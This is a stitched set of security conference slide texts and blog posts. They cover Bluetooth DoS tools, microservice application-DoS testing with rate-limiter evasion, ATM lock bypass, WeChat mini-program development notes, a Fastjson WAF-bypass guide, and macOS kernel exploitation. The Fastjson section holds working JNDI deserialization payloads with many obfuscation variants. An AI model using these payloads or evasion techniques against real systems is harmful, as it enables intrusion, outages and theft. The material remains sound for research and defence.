Identifiers (OUI), registered to specific entities,
often often use a subset of those address
ranges for a specific model of device
– The reverse can be done to attempt to guess
the address based on the device model
© Shadow Cave LLC
Bluetooth Profiling Project
● What can be extracted from the device name?
– First Name – A first name, presumably the first
name of the device owner.
– Last Name – A last name, presumably the last
name of the device owner.
– Nickname – What appears to be a user name or
'handle'.
– Location – Information that can be used to
determine the location of the device.
– Device Model – Identifying information that could
lead to profiling the device as a specific model.
© Shadow Cave LLC
Bluetooth Profiling Project
● Percentage of devices names which disclosed
sensitive information (out of the 1,500 profiles
collected)
First
Name
Last
Name
Location
Device
Model
Nickname /
Handle
28.17%
18.76%
1.30%
70.54%
1.51%
© Shadow Cave LLC
Mall Nibbling
Dropping by your local mall to collect information
on the cornucopia of Bluetooth devices.
© Shadow Cave LLC
Mall Nibbling
● Performing Mall Nibbling: Things to Know
– Come equipped with a Class 1 bluetooth dongle
(cantenna attachment optional, but
recommended :) )
– Obfuscate your Bluetooth interface
– While device discovery takes less then 2
seconds, getting the name of the device
requires a follow up request. Plan on
spending at least 1 minute per location for
each scan.
© Shadow Cave LLC
Offensive
© Shadow Cave LLC
vCardBlaster
● vCard - “Virtual Business Card”
– Used to exchange personal information
● Many Bluetooth devices allow exchange of
vCards
– Phones, PDAs, PCs, etc
© Shadow Cave LLC
vCardBlaster
● vCardBlaster is capable of sending a constant
stream of vCards over Bluetooth
– Users can select a single target or attack all
devices in range
– vCards can be specified or generated by
vCardBlaster
© Shadow Cave LLC
Bluetooth vCard Contact List DoS
● vCardBlaster can be used to preform a DoS on
a Contact List
● Vuln:
– Some devices, upon receiving a vCard, will
automatically add the information to the local
Contact List.
– Each name provided in the vCard must be
unique.
– Sending a flood of vCards fills up the contact list
with new false contacts
© Shadow Cave LLC
vCardBlaster
© Shadow Cave LLC
Blueper
● Blueper is capable of sending a constant
stream of files over Bluetooth
– Users can select a single target or attack all
devices in range
– Files can be specified or generated
– User can specify file size
© Shadow Cave LLC
Bluetooth OBEX Disk Cache DoS
● Blueper can be used to preform a DoS using
the systems caching of file data
● Vuln:
– Some devices cache files sent over Bluetooth
OBEX before prompting user to accept or
reject the file transfer.
– Sending files over extended periods of time can
fill up disk.
– It can cause system crash.
© Shadow Cave LLC
Blueper
© Shadow Cave LLC
Pwntooth
● Suite of Bluetooth attack tools
● Designed to automate multiple attacks against
multiple targets.
● Comes bundled with tools like:
– Bluetooth Stack Smasher
– BT_AUDIT
– Bluesnrf
– Blueper / vCardBlaster
© Shadow Cave LLC
Pwntooth
● Pwntooth uses a user defined config file as an
attack script
● This config file uses * as a wild card character
for device address
© Shadow Cave LLC
pwntooth.conf
© Shadow Cave LLC
Pwntooth
● Default config /etc/bluetooth/pwntooth.conf
● If a address device is detected in multiple
iterations of scans, the attacks listed in the
config file are only run the first time
● Example: Scan area 10 times and save output
to logfile.txt using default config.
> pwntooth -l logfile.txt -s 10
© Shadow Cave LLC
Project Pages
www.hackfromacave.com
● SpoofTooph:
http://www.hackfromacave.com/projects/spooftooph.html
● Bluetooth Profiling Project:
http://www.hackfromacave.com/projects/bpp.html
● vCardBlaster: www.hackfromacave.com/vcardblaster.html
● Blueper: www.hackfromacave.com/blueper.html
● Pwntooth: www.hackfromacave.com/pwntooth.html
© Shadow Cave LLC | pdf |
Defcon Comedy Jam 3
3D Or Not 3D?
We are:
David Mortman aka Arthur
Rich Mogull aka Crash
Chris Hoff aka Hoff
Larry Pesce aka HaxorTheMatrix
David Maynor aka No Pie But Apple Pie | pdf |
Starting the Avalanche:
Application DoS In Microservice Architectures
Scott Behrens
Jeremy Heffner
Jeremy Heffner
● Senior Security Software
Engineer
● Developing and securing
things for 20+ years
Introductions
Scott Behrens
● Netflix senior application
security engineer
● Breaking and building for
8+ years
● Contributor to a variety
of open source projects
(github.com/sbehrens)
DoS focused on application
layer logic
Photo of a battering ram by Flickr user Patrick Denker; License: https://creativecommons.org/licenses/by/2.0/
http://www.interestingfacts.org/fact/first-example-of-biological-warfare
How Novel is Application DoS?
https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/q1-2017-state-of-the-internet-security-report.pdf
Microservice Primer: High Level View
Architecture
Client Libraries and API Gateway
Circuit Breakers / Failover
Cache
Microservice Primer: Architecture
Scale
Service independence
Fault isolation
Eliminates stack debt
Distributed system complexity
Deployment complexity
Cascading service failures if
things aren’t set up right
GOOD
BAD
Simplified Microservice API Architecture
INTERNET
ZUUL
PROXY
ZUUL
PROXY
PROXIES
CORE API
WEBSITE
Middle Tier Service
Middle Tier Service
Middle Tier Service
Middle Tier Service
Backend Tier Service
Backend Tier Service
Backend Tier Service
Backend Tier Service
Backend Tier Service
Backend Tier Service
Backend Tier Service
Backend Tier Service
EDGE
Middle
Backend
Microservice Primer: API Gateways and Client Libraries
Interface for middle tier
services
Services provide client
libraries to API Gateway
Diagrams provided by microservices.io
Microservice Primer: Circuit Breaker
Helps with handling service failures
How do you know what timeout to
choose?
How long should the breaker be triggered?
Diagrams provided by microservices.io
Microservice Primer: Cache
Speeds up response time
Reduces load on services
fronted by cache
Reduces the number of servers
needed to handle requests
https://github.com/netflix/evcache
Old school Application DoS
CPU
Mem
Cache
Disk
Network
New School Application DoS
CPU
Mem
Cache
Disk
Network
Queueing
Client Library Timeouts
Healthchecks
Connection Pool
Hardware Operations (HSMs)
New School Application DoS
CPU
Mem
Cache
Disk
Network
Queueing
Client Library Timeouts
Healthchecks
Connection Pool
Hardware Operations (HSMs)
Difference Between Old School and New School App DoS
Old School Application DoS
Often 1 to 1
New School Application DoS
Often 1 to Many
Simple Web Application Architecture
Old School Application DoS Attack
> perl create_many_profiles.pl
POST /create_profile HTTP/1.1
…
profile_name=$counter + “hacker”
300 requests per second
HTTP Timeouts
HTTP Timeouts
https://www.teachprivacy.com/the-funniest-hacker-stock-photos/
https://openclipart.org/image/2400px/svg_to_png/241842/sad_panda.png
http://www.funnyordie.com/lists/f64f7beefd/brent-rambo-approves-of-these-gifs
ZUUL
PROXY
ZUUL
PROXY
PROXIES
CORE API
WEBSITE
Middle Tier Service
Middle Tier Service
Middle Tier Service
Middle Tier Service
Backend Tier Service
Backend Tier Service
Backend Tier Service
Backend Tier Service
Backend Tier Service
Backend Tier Service
Backend Tier Service
Backend Tier Service
EDGE
Middle
Backend
New School Microservice API DoS
> python grizzly.py
POST /recommendations HTTP/1.1
…
{“recommendations”: {“range”:
[0,10000]}}
ZUUL
PROXY
ZUUL
PROXY
PROXIES
CORE API
WEBSITE
Middle Tier Service
Middle Tier Service
Middle Tier Service
Middle Tier Service
Backend Tier Service
Backend Tier Service
Backend Tier Service
Backend Tier Service
Backend Tier Service
Backend Tier Service
Backend Tier Service
Backend Tier Service
EDGE
Middle
Backend
New School Microservice API DoS
> python grizzly.py
POST /recommendations HTTP/1.1
…
{“recommendations”: {“range”:
[0,10000]}}
Fallback or
Site Error
Core API making many
client requests
Middle tier services
making many calls to
backend services
Backend service
queues filling up with
expensive requests
Client Timeouts, circuit
breakers triggered,
fallback experience
triggered
Workflow for Identifying Application DoS - Part 1
Identify the most latent service calls
Investigate if latent calls allow for manipulation
Tune payload to fly under WAF/Rate Limiting
Test hypothesis
Scale your test using Cloudy Kraken (orchestrator) and Repulsive Grizzly (attack
framework)
Workflow for Identifying Application DoS - Part 1
Identify the most latent service calls
Investigate if latent calls allow for manipulation
Tune payload to fly under WAF/Rate Limiting
Test hypothesis
Scale your test using Cloudy Kraken (orchestrator) and Repulsive Grizzly (attack
framework)
Identifying Latent Service Calls
Identifying Latent Service Calls
Microservice Application DoS: Attack Patterns
Range
Object Out per Object in
Request Size
All of the Above
Application DoS Technique: Range
Application DoS Technique: Object Out Per Object In
Application DoS Technique: Request Size
Application DoS Technique: All of the Above
<--What about N languages?
<--What about more object fields?
Logical Work Per Request
#
Req
Service
Healthy
Service Impact
Service Impact
Rate Limited
Service Auto-Scaling/Healthy
New School Application DoS Attack: Case Study
Making the call more expensive
Workflow for Identifying Application DoS - Part 2
Identify the most latent service calls
Investigate if latent calls allow for range, object out/object in, request size, or other
manipulation
Tune payload to fly under WAF/Rate Limiting while causing the most application
instability
Test hypothesis on a smaller scale using Repulsive Grizzly
Scale your test using Cloudy Kraken
Repulsive Grizzly
Skunkworks application DoS framework
Written in Python3
Eventlet for high concurrency
Uses AWS SNS for logging analysis
Easily configurable
Repulsive Grizzly: Command File
Repulsive Grizzly: Payload and Header Files
Provide payloads in any format you want
Headers are provided as a JSON key/value hash
Use $$AUTH$$ placeholder to tell grizzly where to place tokens
Repulsive Grizzly: Bypass Rate Limiter with Sessions
http://nerdprint.com/wp-content/uploads/2014/09/Dumle-Mountain-Cookies-Advertising2.png
Repulsive Grizzly: Single Node
https://giphy.com/gifs/dancing-90s-computer-uWv3uPfWOz088
Cloudy Kraken Overview
Update Config
Push the latest
configuration file and attack
scripts to S3.
Reset the DynamoDB state.
Build
Environment
Configure the VPCs in each
region
Start up
Attack
Nodes
Launch instances
Collect
data
Wait for data to come
through SNS
Tear-Down
Tear down and reset the
environment in each region
Cloudy Kraken Configuration
S3 Bucket
DynamoDB
Table
Zip File and Configuration
Reset State
Cloudy Kraken: Key AWS Deployment Building Blocks
Region => AWS Geographical Region
VPC => VLAN
ASG => Automatically starts identical nodes
AZ/Subnet => Localized nodes / Subnet
Launch Config => Initial configuration
Region
VPC
AZ/Subnet
AZ/Subnet
Auto-Scaling Group
Node
Node
Node
Node
Node
Node
Node
Node
Node
Node
Node
Node
Cloudy Kraken Deployment phase
VPC
Security Group
Auto Scaling Group
VPC
Security Group
Auto Scaling Group
Region A
Region B
Cloudy Kraken Workers
Each worker node is a single EC2 instance
Each worker runs many threads
EC2 gives you access to Enhanced Networking Driver
Minimal overhead with launch config and ASG
Cloudy Kraken Execution phase
On startup, each worker node runs a cloud-init script
Enables ssh access for monitoring and debugging
Downloads and runs main config script
Downloads ZIP file with attack script
Spins up attack worker
Waits for coordinated time to start
Cloudy Kraken Kill-Switch
Script to set the kill switch, and bring it all down
Cloudy Kraken Tear-Down
Terminates all the instances
Removes ASGs and Launch Configs
Removes VPC, Security group, and Instance Profiles
We scaled up, time to run the test!
Tested against prod
Multi-region and
multi-agent
Conducted two 5
minute attacks
Monitored for success
Results of Test
80% Error Rate
$1.71
5 minute outage for a single AWS region
So What Failed?
Expensive API calls could be invoked with non-member cookies
Expensive traffic resulted in many RPCs per request
WAF/Rate Limiter was unable to monitor middle tier RPCs
Missing fallback experience when cache missed
Demo
●
Test app
●
Launching and scaling attack with Cloudy Kraken
Microservice
Application DoS:
Mitigations
Understand which
microservices impact
customer experience
Microservice
Application DoS:
Mitigations
Rate limiter (WAF)
should monitor
middle tier signals or
cost of request*
Microservice
Application DoS:
Mitigations
Middle tier services
should provide
context on abnormal
behavior
Microservice
Application DoS:
Mitigations
Rate limiter (WAF)
should monitor
volume of cache
misses*
Microservice
Application DoS:
Mitigations
Prioritize
authenticated traffic
over unauthenticated
Microservice
Application DoS:
Mitigations
Configure reasonable
client library timeouts
Microservice
Application DoS:
Mitigations
Trigger fallback
experiences when
cache or lookups fail
Thanks!
https://github.com/netflix-skunkworks/repulsive-grizzly
https://github.com/netflix-skunkworks/cloudy-kraken
@helloarbit | pdf |
No Key? No PIN? No Combo?
No Problem!
P0wning ATMs For Fun and Profit
Roy Davis
[email protected]
@hack_all_things
/in/roy-davis
Why ATMs?
https://www.youtube.com/watch?v=ZO956U10Zlc
https://www.statista.com/statistics/741708/number-of-atms-worldwide/
https://bit.ly/3ySNvey
Better
World
Through
Hacking
Barnaby Jack
Westin Hecker
Alexey Osipov
Olga Kochetova
Alexander Forbes
Trey Keown
Brenda So
Blackhat Europe - 2014
DEF CON 24 - 2016
Disobey - 2019
DEF CON 18 - 2010
DEF CON 28 - 2020
Plore
DEF CON 24 - 2016
Mike Davis
DEF CON 27 - 2019
On tap…
●
● ATM Acquisition
● Damage Inc.
● Some general ATM info
● Licensed to operate (and sniff traffic??)
● Picking the ATM case lock
● Resetting the admin password
● Bypassing the Electronic Vault Lock
● Q&A
The Goal...
Photo by Sarv Mithaqiyan
Source: Trey Keown & Brenda So - DEF CON 28
How do ATMs work?
Damage, Inc.
Damage, Inc.
Damage, Inc.
Card Reader (mag / chip)
Encrypting Pin Pad
Touchscreen
Receipt
Dispense
Cash
Dispense
Safe Door Cover
Camera (optional)
CPU Housing
Vault Housing
Electronic Vault lock keypad
Lock Bolt Handle
Power wire for door light
Auth request with
card info and PIN
Payment Processing Host
Card Issuing Bank
TLS
Encrypted Data
Triton Protocol
Approved
Denied
Approved
Denied
TLS
Encrypted Data
Protocol??
Internet
Interbank
ATM Licensing
Outbound
from ATM
Inbound
to ATM
PPH
https://bit.ly/3z4Azm2
CLEAR
LEFT
RIGHT
CLEAR
CLEAR
CANCEL
CLEAR
LEFT
RIGHT
CLEAR
CLEAR
CANCEL
https://www.youtube.com/watch?v=lXFpCV646E0&t=338s
https://www.youtube.com/watch?v=lXFpCV646E0
https://www.youtube.com/watch?v=HxQUKAjq-7w
To Keypad
Lock bolt
Forced down
by front
handle
rotation
Anti-force
notch
Vault handle
force direction
Spring
Linchpin
DC Motor
Linchpin
17.7 Volts
6.22mm
2.95mm
TODO: Follow up Research
● ATM Wifi
● Vault lock MiTM
● ATM Software modifications
● USB and SD Card fun
● Internal Serial comms MiTM and replay
● EPP deconstruction analysis (Warning ??)
No Key?
No Key?
No PIN?
No Key?
No PIN?
No Combo?
No Key?
No PIN?
No Combo?
No Problem!
Thank you!
Roy Davis
[email protected]
@hack_all_things
/in/roy-davis | pdf |
微信⼩程序开发总结 - 1
微信⼩程序开发总结
背景是⼩程序《⽺了个⽺》⼤⽕,依靠⼴告就能被动赚钱。⽬前各⼤头部⼚商阿⾥、百
度、头条也都推出了⾃⼰的⼩程序。
它们之间应该都⼤同⼩异,所以我也花⼀个星期研究了下⼩程序开发,做了⼀个微信⼩
程序 《画⼏个画》。这篇是⼩程序开发总结,开发过程中有些坑还是要记录⼀下的,最
后也说⼀下我的⼩程序的总结。
开发
有个 uni-app,说是⼀套代码可以编译到 14 个平台。说明⼩程序间的规则都⼤同⼩
异。我还是选择按照微信官⽅的⽂档开发。
官⽅⽂档:
⼩程序的主要开发语⾔是 JavaScript,类似 vue 和 react 的写法,之前有过前端的开发
经历,学起来也⽐较块。
开发者⼯具
第⼀步安装开发者⼯具:
这个⼯具看样⼦是 vscode 魔改的,⽤起来还挺舒服。
Hello World
⽤⼩程序新建完⼀个项⽬,默认的⽂件的就是⼀个 hello world
https://developers.weixin.qq.com/miniprogram/dev/framework/
https://developers.weixin.qq.com/miniprogram/dev/framework/quickstart/getstar
t.html#安装开发⼯具
微信⼩程序开发总结 - 2
关于代码的构成参考
修改 pages\index\index.wxml 就能改变⻚⾯了。
UI 框架
界⾯渲染依靠 wxml+wxss,和 html+css ⼀样的⽅式,可以找⼏个 UI 框架套⼀套,⾕
歌关键词 微信小程序UI框架
我⽤的是 vant
⼜有⽂档⼜可以在线预览,⽤起来⽐较舒服。
安装参考
就⾏
https://developers.weixin.qq.com/miniprogram/dev/framework/structure.html
https://vant-contrib.gitee.io/vant-weapp/#/home
https://vant-contrib.gitee.io/vant-weapp/#/quickstart
微信⼩程序开发总结 - 3
⼀个坑:安装完后发现样式没剩下,要清除缓存退出⼯具重新打开⼀下。
在使⽤某个组件的时候,需要在对应的 json 中 usingComponents 添加组件的路径,
相当于 import 了
路由
要写多个⻚⾯,就在 app.json ⾥规定⻚⾯的路由,同时根据 json 的配置可以影响⼩程
序的表头⽂字和颜⾊,以及可以配置⼩程序菜单。⼩程序菜单微信已经做好,只需要配
置 json 就能使⽤。
https://developers.weixin.qq.com/miniprogram/dev/framework/config.html#全局
配置
微信⼩程序开发总结 - 4
微信 API
记录微信⾃带的常⽤ api,api ⽂档:
⽹络请求
https://developers.weixin.qq.com/miniprogram/dev/api/base/wx.env.html
https://developers.weixin.qq.com/miniprogram/dev/api/network/request/wx.requ
est.html
微信⼩程序开发总结 - 5
JavaScript
下载图⽚
JavaScript
1
2
3
4
5
6
7
8
9
10
11
12
13
wx.request({
url: config.api + "/banner",
data: {},
method: "GET",
success(res) {
that.setData({
banner: res.data,
})
},
fail(res) {
Toast.fail('首页获取失败,请退出重试2');
}
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
download(e) {
let url = this.data.pic;
wx.downloadFile({
url: url,
success(downres) {
wx.saveImageToPhotosAlbum({
filePath: downres.tempFilePath,
success(res) {
wx.showToast({
title: '下载成功',
icon: 'success',
duration: 1000
})
},
fail() {
wx.showToast({
title: '下载文件失败',
icon: 'error',
duration: 1000
})
}
})
},
fail() {
wx.showToast({
微信⼩程序开发总结 - 6
微信⽤户登陆并获取昵称,⽤户头像
⽤户登陆,获取昵称⽤户头像是两个 api。同时,还要写⼀个后端 api,接受 wx.login
传⼊的临时 token,后端将它转换为统⼀的 openid,后端根据 openid 来统⼀识别⽤
户。
按钮必须有 bindtap="getUserProfile"属性,来标明是⽤来登陆的。
HTML
JavaScript
26
27
28
29
30
31
32
title: '下载文件失败',
icon: 'error',
duration: 1000
})
}
})
},
https://developers.weixin.qq.com/miniprogram/dev/api/open-
api/login/wx.login.html
1
2
3
<view class="my-button">
<van-button type="default" bindtap="getUserProfile">微信登陆 </van-b
utton>
</view>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
getUserProfile(e) {
var that = this;
// 推荐使用wx.getUserProfile获取用户信息,开发者每次通过该接口获取用户个
人信息均需用户确认
// 开发者妥善保管用户快速填写的头像昵称,避免重复弹窗
wx.getUserProfile({
desc: '使用微信登陆', // 声明获取用户个人信息后的用途,后续会展示在弹窗
中,请谨慎填写
success: (res) => {
console.log(res);
that.setData({
userInfo: res.userInfo,
hasUserInfo: true
})
wx.setStorageSync('userInfo', res.userInfo)
wx.login({
微信⼩程序开发总结 - 7
⽤户分享接⼝
⽤户想把⼩程序分享给朋友的接⼝
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
success(res) {
if (res.code) {
let token = res.code;
//发起网络请求
let api = config.api + "/login_openid/"
wx.request({
url: api,
data: {
"openid": token,
"nickName": that.data.userInfo.nickName,
"gender": that.data.userInfo.gender,
"avatarUrl": that.data.userInfo.avatarUrl
},
header: {
'content-type': 'application/x-www-form-urlencoded'
// 默认值
},
method: "POST",
success(res) {
that.setData({
openid: res.data.token
})
wx.setStorageSync('openid', res.data.token)
that.refreshMe();
Toast.success('登陆成功');
}
})
}
},
fail: (res) => {
Toast.fail('登陆失败');
}
})
},
fail: (res) => {
Toast.fail('登陆失败2');
}
})
},
微信⼩程序开发总结 - 8
这个接⼝只需要返回⼀个 dict,就可以⾃定义 title,图⽚, 必须要在⻚⾯上实现这个函
数,否则分享就会被禁⽤。
JavaScript
https://developers.weixin.qq.com/miniprogram/dev/reference/api/Page.html#onS
hareAppMessage-Object-object
1
2
3
4
5
6
7
8
9
Page({
onShareAppMessage() {
return {
title: '自定义转发标题',
imageUrl: ''
path: '/page/user?id=123',
}
}
})
微信⼩程序开发总结 - 9
微信⼩程序开发总结 - 10
分享到朋友圈也类似:
⼀些开发坑
保存⽤户信息
不保存的话⽤户退出⼩程序后总要重新登陆。在 app.js 全局使⽤ onLaunch 函数,在这
⾥写检测⽤户是否过期的代码 wx.checkSession 等等,赋值给全局变量,在 page
中 ⽤ onLoad 获取值。可问题是,onLaunch 函数是异步的,导致 onLaunch 执⾏后⽴
⻢就执⾏ onLoad 了,可此时 onLaunch 还未赋值。
解决办法:
但是这个好麻烦,我就不处理这个了。我只有两个⻚⾯,每个⻚⾯初始化时候调⽤
app.checkSessionAndLogin().then() 就好了。
JavaScript
https://developers.weixin.qq.com/miniprogram/dev/reference/api/Page.html#onS
hareTimeline
https://developers.weixin.qq.com/community/develop/article/doc/00086219508c
28eebf2ce485d56c13
1
2
3
// app.js
App({
onLaunch() {
微信⼩程序开发总结 - 11
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// this.checkSessionAndLogin();
},
checkSessionAndLogin: function () {
return new Promise(function (resolve, reject) {
wx.checkSession({
success: (res) => {
console.log("check session success")
let token = wx.getStorageSync('openid')
let userInfo = wx.getStorageSync('userInfo')
resolve({
hasUserInfo: true,
openid: token,
userInfo: userInfo
})
// this.globalData.hasUserInfo = true
// this.globalData.openid = token;
// this.globalData.userInfo = userInfo;
},
fail: (res) => {
// this.globalData.hasUserInfo = false
wx.removeStorageSync('openid');
wx.removeStorageSync('userInfo');
reject(res)
}
})
})
},
getSession: function () {
let token = wx.getStorageSync('openid')
let userInfo = wx.getStorageSync('userInfo')
return ({
openid: token,
userInfo: userInfo
})
},
globalData: {
userInfo: {},
openid: "",
hasUserInfo: false,
}
})
微信⼩程序开发总结 - 12
本地⽂件引⽤
本地图⽚引⽤⽤相对⼯作⽬录的绝对路径 /images/1.jpg
引⽤ js 模块⽤相对路径 require("../../components/xx")
画⼏个画的总结
写好代码,在开发者⼯具那直接上传,然后把代码按照要求审核发布,我⼀般审核,⼀
天就通过了。
运营是个⼤问题,在⼏个平台发了⼏个帖⼦,访问量寥寥⽆⼏。倒是通过"分享"获得的
新客⽐较多。
投放⼴告要求有 1000 个独⽴访客访问,我现在才 800 多。
后台有很详细的运营分析数据,例如我的⼤部分⼈数都是通过"分享"获得的。 | pdf |
浅谈Fastjson绕waf
写在前⾯
关键时期换个⼜味,虽然是炒陈饭,但个⼈认为有⼲货的慢慢看,从最简单到⼀些个⼈认
为⽐较骚的,本⼈垃圾代码狗,没有实战经验,因⽽更多是从fastjson的词法解析部分构造混
淆
初级篇
添加空⽩字符
在 com.alibaba.fastjson.parser.JSONLexerBase#skipWhitespace
public final void skipWhitespace() {
while(true) {
while(true) {
if (this.ch <= '/') {
if (this.ch == ' ' || this.ch == '\r' || this.ch ==
'\n' || this.ch == '\t' || this.ch == '\f' || this.ch == '\b') {
this.next();
continue;
}
if (this.ch == '/') {
不难看出默认会去除键、值外的空格、 \b 、 \n 、 \r 、 \f 等,作为开胃菜
默认开启的Feature中得到的思路
添加多个逗号
FastJson中有个默认的Feature是开启的 AllowArbitraryCommas ,这允许我们⽤多个逗号
这⾥可以添加的位置很多
this.skipComment();
continue;
}
}
return;
}
}
}
json字段名不被引号包括
也是⼀个默认开启的Feature, AllowUnQuotedFieldNames ,但是只在恢复字段的过程调⽤
当中有效果
因此原来的payload可以做此改造
{,,,,,,"@type":"com.sun.rowset.JdbcRowSetImpl",,,,,,"dataSourceName":"rmi:
//127.0.0.1:1099/Exploit",,,,,, "autoCommit":true}
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1
:1099/Exploit", "autoCommit":true}
||
\/
{"@type":"com.sun.rowset.JdbcRowSetImpl",dataSourceName:"rmi://127.0.0.1:1
099/Exploit", "autoCommit":true}
json字段名使⽤单引号包裹
Feature.AllowSingleQuote 也是默认开启滴,这个太简单了就不说了
@type后的值第⼀个引号可以替换为其他字符
主要是⼀个逻辑问题
这⾥我们可以对⽐之前获取 @type 的过程,先检验了当前位置是 " 再扫描到下⼀个 " 之间的
值
因此可以构造出,注意 com 前⾯的引号被我改了,
{"@type":xcom.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0
.1:1099/Exploit", "autoCommit":true}
编码绕过(Unicode/Hex)
⾸先在 com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol ,当中可以看见,
如果遇到了 \u 或者 \x会有解码操作
if (ch == '"') {
key = lexer.scanSymbol(this.symbolTable, '"');
lexer.skipWhitespace();
ch = lexer.getCurrent();
//省略不必要代码
}
还可以混合编码,这⾥⼀步到位
对字段添加多个下划线或者减号
1.2.36版本前
在 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseFie
ld
解析字段的key的时候,调⽤了 smartMatch ,下⾯截了与本主题相关的关键点
{"\x40\u0074\u0079\u0070\u0065":"com.sun.rowset.JdbcRowSetImpl","dataSourc
eName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}
由于这⾥有 break ,不⽀持两个⼀起混合使⽤,只能单⼀使⽤其中⼀个,随便加
1.2.36版本及以后
我们再来看这个 smartMatch 调⽤了
com.alibaba.fastjson.util.TypeUtils#fnv1a_64_lower
{"@type":"com.sun.rowset.JdbcRowSetImpl",'d_a_t_aSourceName':"rmi://127.0.
0.1:1099/Exploit", "autoCommit":true}
这个函数忽略所有的 _ 与 -
因此简单测试,lol
1.2.36版本后可以对属性前添加is
在那个基础上,还是在 smartMatch 当中可以看见,如果前缀有 is ,会去掉 is
⾼级篇
⾃⼰瞎想出来的哈哈哈,假装很⾼级吧
注释加强版绕过
我在想如果假如有waf逻辑会为了⽅便先将接受到的字符串的去除注释符之间的部分再去匹
配,⽐如下⾯的伪代码
处理前: /*y4tacker*/{/*y4tacker*/"@type":"com.sun.rowset.JdbcRowSetImpl"}
处理后会显得更⼲脆更好做判断:
{"a": {"@type": "java.lang.Class","val":
"com.sun.rowset.JdbcRowSetImpl"},"b": {"@type":
"com.sun.rowset.JdbcRowSetImpl","isdataSourceName":
"rmi://127.0.0.1:1099/Exploit","isautoCommit": true}}
preg_replace("(/\*
(.*?)\*/)","",'/*y4tacker*/{/*y4tacker*/"@type":"com.sun.rowset.JdbcRowSet
Impl"}');
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0
.1:1099/Exploit", "autoCommit":true}
那有没有办法可以让我们将注释符中内容替换以后,没有危险字符嘞,当然有的,先给出答
案再解释加上 \u001a
/*\u001a{/*y4tacker*/"@type":"com.sun.rowset.JdbcRowSetImpl","dataSource
Name":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}*/ ,这样waf就会将
内容替换后识别⼀串空字符当然就可以绕过,⽽且JSON数据后⾯可以填充其他不是 ():[]{}
等任意字符,具体可以
看 com.alibaba.fastjson.parser.JSONLexerBase#nextToken()
那为什么这⾥ \u001a 可以绕过
从代码出发开局初始化 DefaultJSONParser 的时候,由于我们字符串开头是 / ,会调
⽤ netToken
这⾥会调⽤ skipComment 去除注释
可以看见如果是正常逻辑匹配到 */ 只是移动到下⼀字符返回
之后继续处理正常逻辑
题外话
fastjson眼中的注释 /**/ , //y4tacker\n ,具体可以看skipComment的逻辑
因此在⽀持加注释的地⽅可以试试添加打乱特征
//y4tacker\n{//y4tacker\n"@type"//y4tacker\n://y4tacker\n"com.test.Test"//
y4tacker\n} | pdf |
MacOS Big)Sur内核漏洞挖掘和利用
Bio
0 1
Twitter(@peterpan980927)
阿里安全潘多拉实验室
高级安全工程师
iOS/macOS 安全研究&开发
KCon 2019 PPT 放映员&乐透操作手
Agenda
0 2
1.
Backgrounds
2.
Some case studies
3.
Mitigations overview & new features
4.
Attack macOS Big Sur
5.
Summary & Credit
Backgrounds
AppleOS Kernel
0 3
XNU: X is not Unix(Hybrid Kernel)
1.
Mach->(micro kernel)
2.
BSD
3.
IOKit
Mach Ports
0 4
Basic concepts
1. Communication channels for IPC
2. 32bit number in userspace
3. ipc_port struct in kernel space
4. Single receiver/One or Multiple Senders
/osfmk/ipc/ipc_object.h
struct ipc_port {
struct ipc_object ip_object;
struct ipc_mqueue ip_messages;
…
};
struct ipc_object {
ipc_object_bits_t io_bits;
ipc_object_refs_t io_references;
lck_spin_t io_lock_data;
}___attribute__((aligned(8)));
Mach Ports
0 5
Basic concepts
1.
Many kernel data objects are wrapped with mach ports
2.
E.g: Tasks(tfp0)/Driver instance(C++ obj)/clock/file_glob…
/osfmk/kern/ipc_kobject.h
#define IKOT_CLOCK
25
#define IKOT_IOKIT_CONNECT
29
#define IKOT_IOKIT_OBJECT
30
#define IKOT_VOUCHER
37
…
Mach Ports For IPC
0 6
Overview
Apple Driver
0 7
IOKit part
IOKit是一套基于C++子集构建的框架、库、工具和资源
支持设备的动态和自动配置(即插即用)
抢占式多任务,对称多处理…
不支持异常,多重继承,模版和RTTI
KEXT是内核扩展,包含Apple Driver
Apple Driver
0 8
Why?
1.
Kexts run inside kernel, some can even reachable within
the sandbox
2.
Kext deprecated in WWDC 2019
3.
System Extension replacing third party kext: DriverKit、
NetworkExtension、Endpoint Security
4.
Less developers, less attention
Apple Driver
0 9
Attack Surface
1.
ExternalMethod(driver independent)
2.
Notification Port(CVE-2020-9768)
3.
SharedMemory(TOCTOU)
4.
clientClose(CVE-2018-4326)
5.
setProperties(CVE-2016-1835)
Etc…
Apple Driver
1 0
Attack Surface
1.
ExternalMethod(driver independent)
2.
Notification Port(CVE-2020-9768)
3.
SharedMemory(TOCTOU)
4.
clientClose(CVE-2018-4326)
5.
setProperties(CVE-2016-1835)
Etc…
Apple Driver
1 1
Attack Surface
http://homes.sice.indiana.edu/luyixing/bib/CCS20-iDEA.pdf
Case)studies
Case Studies
1 2
CVE-2016-1825(bazad)
Case Studies
1 3
CVE-2018-4327(brightiup)
Case Studies
1 4
CVE-2020-9768
https://proteas.github.io/ios/vulnerability/2020/03/27/analysis-of-CVE-2020-9768.html
在registerNotificationPort中,如果已经设置过port,
重新设置新的port,旧的port引用计数会-1
Case Studies
1 5
CVE-2020-9768
在另一个函数startDecoder中,会携带当前的通知
port,在解码事件完成后,会直接从请求中取出port
进行使用
From)N)day)to)0)day
From N day to 0 day
1 6
Inspiration examples
From N day to 0 day
1 7
Key point 1
Point: “it remained in the codebase and on all iPhones
since 2014, reachable from the inside of any sandbox.
You would have
triggered it though if you had ever tried to use this code
and called task_swap_mach_voucher with a
valid
voucher. ”
From N day to 0 day
1 8
Key point 2
Point: “Now a natural question comes into our mind: how many
